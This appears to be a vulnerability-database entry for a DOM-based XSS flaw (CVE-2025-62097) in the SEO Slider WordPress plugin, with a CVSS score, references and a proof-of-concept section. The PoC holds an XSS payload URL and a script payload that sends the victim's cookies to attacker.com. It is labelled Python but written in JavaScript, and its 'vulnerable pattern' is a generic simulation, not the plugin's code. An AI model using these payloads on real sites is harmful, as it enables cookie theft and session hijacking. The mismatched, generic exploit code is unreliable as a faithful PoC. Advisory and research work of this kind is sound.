CVE-2025-62097

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in seothemes SEO Slider seo-slider allows DOM-Based XSS.This issue affects SEO Slider: from n/a through <= 1.1.1.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

seothemes SEO Slider <= 1.1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-62097 PoC - DOM-based XSS in SEO Slider
// Target: WordPress SEO Slider Plugin <= 1.1.1

// Malicious URL with XSS payload
const maliciousURL = 'https://vulnerable-site.com/page-with-slider/#/<img src=x onerror=alert(document.cookie)>';

// Alternative payload using query parameter
const altPayload = '?slider_id=1"><script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>';

// Automation script for testing
function testDOMXSS() {
    // Simulate plugin's vulnerable code pattern
    const userInput = window.location.hash.substring(1);
    
    // Vulnerable: Direct insertion without sanitization
    document.getElementById('slider-container').innerHTML = userInput;
    
    // Check if payload executed
    if (document.querySelector('img[src="x"]')) {
        console.log('Vulnerability confirmed: XSS payload injected');
    }
}

// Exploitation example
const exploitPayload = {
    type: 'DOM-based XSS',
    plugin: 'seo-slider',
    version: '<=1.1.1',
    method: 'innerHTML injection via hash parameter',
    impact: ['Cookie theft', 'Session hijacking', 'Malicious redirects']
};

console.log('CVE-2025-62097 PoC loaded');

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62097
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62097
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62097/
[4] VulDB https://vuldb.com/cve/CVE-2025-62097
[5] https://patchstack.com/database/Wordpress/Plugin/seo-slider/vulnerability/wordpress-seo-slider-plugin-1-1-1-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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